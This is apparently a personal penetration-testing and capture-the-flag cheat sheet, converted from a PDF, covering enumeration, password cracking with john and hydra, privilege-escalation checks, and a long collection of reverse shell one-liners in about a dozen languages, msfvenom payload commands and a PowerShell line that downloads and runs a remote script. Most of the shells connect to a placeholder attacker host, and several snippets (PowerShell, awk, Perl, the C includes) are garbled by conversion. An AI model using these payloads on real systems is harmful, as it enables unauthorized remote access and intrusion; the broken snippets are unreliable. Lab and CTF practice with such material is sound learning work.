# **GENERAL**

### **Web Server Service**

python3 -m http.server portnumber python -mSImpleHTTPServer portnumber

# **Downloading a file**

```
wget "url:port"
curl "url:port"
scp hostname@IP:
nc -l -p > receiver machine nc -w 3 < sender machine</pre>
```

# **Generate ssh keys**

ssh-keygen

# **Finding Specific Strings in specified directoy**

grep -rnw / -e 'StringtoSearch' 2>/dev/null / is root directory. Can be any directory

### **Github**

```
First clone a repository empty or commited git clone "URL" git add --all update eveything to be added in repo git commit -m"commit message" commit the update git push push the commit to repo
```

# **NETWORKING**

### local network Info

ifconfig

ip a

### All IP's in a subnet

arp-scan -l

# Route (specifying gateways to IP's)

route displays routing table

ip route add via gateway is usually router address(NAT)

# **OpenVpn**

openvpn for labs and ctfs:()

# **TOOLS**

pspy (hidden cronjobs and services)

steghide (extract files from an image)

steghide extract -sf

stegcracker (cracking images passphrase when extracting data)

stegcracker

# johntheripper (cracking passwords)

john --wordlists=wordlist

# ssh2john (converting ssh keys into hash for cracking in john)

python3 ssh2john > john ---wordlist=wordlist

# zip2john (cracking zip passwords)

zip2john > john --wordlist=wordlist

# rar2john (cracking rar passwords)

rar2john > john --wordlist=wordlist

# gpg2john and gpg (cracking pgp files passwords and accessing pgp files)

```
gpg2john key.asc > hash
john hash --wordlist=wordlist
gpg --import key.asc
gpg --decrypt file.pgp
```

# Hydra (bruteforcing credentials from different services)

hydra -l -P service://IP -S portnumber

# gobuster (Hidden directories and file on webserver)

```
gobuster dir -u -w (Directories)
gobuster vhost -u -w (subdomains/Dns)
binwalk (check hidden data in files)
```

binwalk

# Strings (string representation of file hexdump)

Strings

### **SHELLS**

### **TTY Stable shells**

```
bash -i
/bin/bash -i
/usr/bin/script -qc /bin/bash 1&>/dev/null
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

### Bash

```
Bash TCP
```

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

Bash UDP

Victim: sh -i >& /dev/udp/10.0.0.1/4242 0>&1

Listener: nc -u -lvp 4242

Don't forget to check with others shell: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

# **Python**

Linux only

IPv4

export RHOST="10.0.0.1"; export RPORT=4242; python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

IPv4

python -c 'import

socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("1 0.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

IPv6

python -c 'import

socket,subprocess,os,pty;s=socket.socket(socket.AF\_INET6,socket.SOCK\_STREAM);s.connec t(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

python -c 'import

socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("1 0.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Windows only

C:27.exe -c "(lambda y, g, contextlib: [[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p\_thread.start(), [[(p2s\_thread.start(), (lambda out: (lambda ctx: [ctx.enter\_(), ctx.exit(None, None, None), out0][2])(contextlib.nested(type('except', (), {'enter\_': lambda self: None, 'exit': lambda self, exctype, value, traceback: exctype is not None and (issubclass(exctype, KeyboardInterrupt) and [True for \_out[0] in [((s.close(), lambda after: after())[1])][0])})(), type('try', (), {'enter': lambda self: None, 'exit': lambda self, exctype, value, traceback: [False for \_out[0] in [((p.wait(), (lambda after: after()))[1])][[0]})())))([None]))[1] for p2sthread.daemon in [(True)]][0] for \_g['p2s\_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p\_thread.daemon in [(True)]][0] for \_g['s2p\_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for \_g['p'] in [(subprocess.Popen(['\windows\system32\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for g['s'] in [(socket.socket(socket.AF\_INET, socket.SOCK\_STREAM))]][0] for g['p2s'], p2s.name\_ in [(lambda s, p: (lambda \_l: [(lambda after: y(lambda this: lambda: (l['s'].send(l['p'].stdout.read(1)), this())[1] if True else after())())(lambda: None) for  $l['s'], _l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for g['s2p'], s2p.name_ in [(lambda s, p:$ (lambda \_l: [(lambda after: y(lambda this: lambda: [(lambda after: (||p'|.stdin.write(||data'|), after())||1|| if (|len(||data'|) > 0) else after())(|lambda:this()) for l['data'] in [(\_l['s'].recv(1024))]][0] if True else after())()(lambda: None) for I['s'], I['p'] in [(s, p)]][0])({}), 's2p')]][0] for \_g['os'] in [(import('os', g, g))]][0] for \_g['socket'] in [(import('socket', g, g))]][0] for \_g['subprocess'] in [(import('subprocess', g, g))]][0] for \_g['threading'] in [(import('threading', g, g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), import\_('contextlib'))"

### **PhP**

```
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);/bin/sh -i <&3 >&3 2>&3;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i",
array(0=>sock, 1=>sock, 2=>sock),pipes);'
```

### Perl

```
perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if( connect(S,sockaddr_in(p, inet_aton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e 'p = fork; exit, if(p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r); -> fdopen(c,w);system$_ while<>;' NOTE: Windows only perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r); -> fdopen(c,w);system$_ while<>;'
```

# Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

```
NOTE: Windows only ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242"); while (cmd=c.gets); IO.popen(cmd,"r") {|io|c.printio.read}end'
```

### Golang

```
echo 'package main;import"os/exec";import"net";func
main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;c
md.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```

### **Netcat Traditional**

nc -e /bin/sh 10.0.0.1 4242 nc -e /bin/bash 10.0.0.1 4242 nc -c bash 10.0.0.1 4242

Netcat OpenBsd os

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

# **OpenSSL**

#### Attacker:

user@attack\$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes user@attack\$ openssl s\_server -quiet -key key.pem -cert cert.pem -port 4242 or user@attack\$ ncat --ssl -vv -l -p 4242

user@victim\$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s\_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s

TLS-PSK (does not rely on PKI or self-signed certificates)

### generate 384-bit PSK

# use the generated string as a value for the two PSK variables from below

openssl rand -hex 48 # server (attacker) export LHOST="\*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s\_server -quiet -tls1\_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk PSK - nocert - acceptLHOST:\$LPORT # client (victim) export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo \$PIPE; /bin/sh -i < \$PIPE 2>&1 | openssl s\_client -quiet -tls1\_2 -psk \$PSK -connect RHOST:RPORT > PIPE; rmPIPE

### **Powershell**

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242); stream = client.GetStream(); [byte] bytes = 0..65535 |i = stream.Read(bytes, 0, \$bytes.Length)) -ne 0) {; \$data = (New-Object - TypeName System.Text.ASCIIEncoding).GetString(bytes, 0,i); <math>sendback = (iexdata \ 2>\&1 | Out-String); sendback = sendback + "PS" + (pwd).Path + ">"; <math>sendbyte = ([text.encoding]: ASCII).GetBytes(sendback + "Superior "System - Write(sendbyte, 0, sendbyte.Length); stream.Flush(); str
```

```
powershell -nop -c "client = New - ObjectSystem. Net. Sockets. TCPClient('10.0.0.1', 4242); stream = client. GetStream(); [byte[]]bytes = 0..65535|%{0}; while((i =stream.Read(bytes, 0,bytes.Length)) -ne 0){; data = (New - Object - TypeNameSystem. Text. ASCIIEncoding). GetString(bytes, 0, <math>i); sendback = (iex $data 2>&1 | Out-String); $sendback2 = sendback + 'PS' + (pwd). Path + ' > '; sendbyte =
```

([text.encoding]::ASCII).GetBytes(sendback2);stream.Write(sendbyte, 0, sendbyte.Length); \$stream.Flush();\$client.Close()"

powershell IEX (New-Object

Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a 6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/minireverse.ps1')

### **Awk**

awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print |& s; close(c); } } while(c |& getline) > 0) print |& s; close(c); } while(c |& getline) > 0) print |& s; close(c); } dev/null

### Java

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5 < /dev/tcp/10.0.0.1/4242;cat < & 5 | while read line; do \$line <math>2 > & 5 > & 5; done"] as String) p.waitFor()

Java Alternative 1

String host="127.0.0.1"; int port=4444; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream();so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po. write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Java Alternative 2

NOTE: This is more stealthy

Thread thread = new Thread(){ public void run(){ // Reverse shell here } } thread.start();

### War

msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war strings reverse.war | grep jsp # in order to get the name of the file

### Lua

```
Linux only
```

lua -e

"require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh-i <&3 >&3 2>&3');"

Windows and Linux

lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("\*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

### **NodeJS**

```
(function(){ var net = require("net"), cp = require("child_process"), sh =
    cp.spawn("/bin/sh",); var client = new net.Socket(); client.connect(4242, "10.0.0.1",
    function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return
/a/; // Prevents the Node.js application form crashing })();

or
    require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')

or
-var x = global.process.mainModule.require -x('child_process').exec('nc 10.0.0.1 4242 -e
/bin/bash')

or
```

Groovy

by frohoff NOTE: Java reverse shell also work for Groovy

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

String host="10.0.0.1"; int port=4242; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream();so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po. write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

```
Groovy Alternative 1

NOTE: This is more stealthy

Thread.start { // Reverse shell here }
```

### C

Compile with gcc /tmp/shell.c --output csh && csh

### include

include

include

include

include

### include

### include

```
int main(void){ int port = 4242; struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/sh", NULL};
```

```
execve("/bin/sh", argv, NULL);
return 0;
}
```

# **Meterpreter Shell**

Windows Staged reverse TCP

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe

Windows Stageless reverse TCP

msfvenom -p windows/shell\_reverse\_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe

Linux Staged reverse TCP

msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf

Linux Stageless reverse TCP

msfvenom -p linux/x86/shell\_reverse\_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf

Other platforms

# **ENUMURATION**

### Rustscan

Rustscan to scan for open ports and then use nmap for heavy scanning

### **Nmap**

```
nmap -p -T4 -A
```

nmap -p -T4 -A --script vuln Detect vulneribilties of discovered services

### **FTP**

ftp

try anonymous:anonymous credentials for Null Sessions

dir command to list directories

get get a copy of file on local machine

put upload a file to ftp server

### **SMB**

smbclient -L //IP/ displays shares on samba server smbclient //IP/ access that share smbget -T smb://IP/ get copy of that share on local machine enum4linux -a detailed mapping of smb server:)

# **RDP**

rdesktop -u -p connect to a remote windows machine

# **POST EXPLOITATION**

### KernelInfo

cat /etc/\*release uname -a

# **Cronjobs**

What to Look for: if cronjobs are being run by root or any other user then see if you can write to that file or not If you cannot write to the file then try to duplicate the path of that file and make a copy of that file and its path to execute your shell

```
cat /etc/crontab
cronjob -l
crontab -u -e
```

### sudo

sudo -u#-1

### **File Permissions**

Suid: find / -type f -perm 4000 2>/dev/null

Sgid: find / -type f -perm 2000 2>/dev/null

World readable: find / -type f -readable -user 2>/dev/null

World Writable: find / -type f -writable -user 2>/dev/null

# Capabilities(Similiar to Suid permissions)

getcap -r / 2>/dev/null

### **Path Manipulation**

Suppose a binary /bin/update is not on secure path and can be vulnerable then we can make a custom binary and replace it with the existing binary. So whenever this binary is executed either by user command or by cronjob, our custom code gets executed.

We can also add any custom script or program in our secure path export PATH=/:\$PATH

# **NFS(Network File System)**

showmount -e Displays mount Path

mount -t nfs :/ mount the file system on your local machine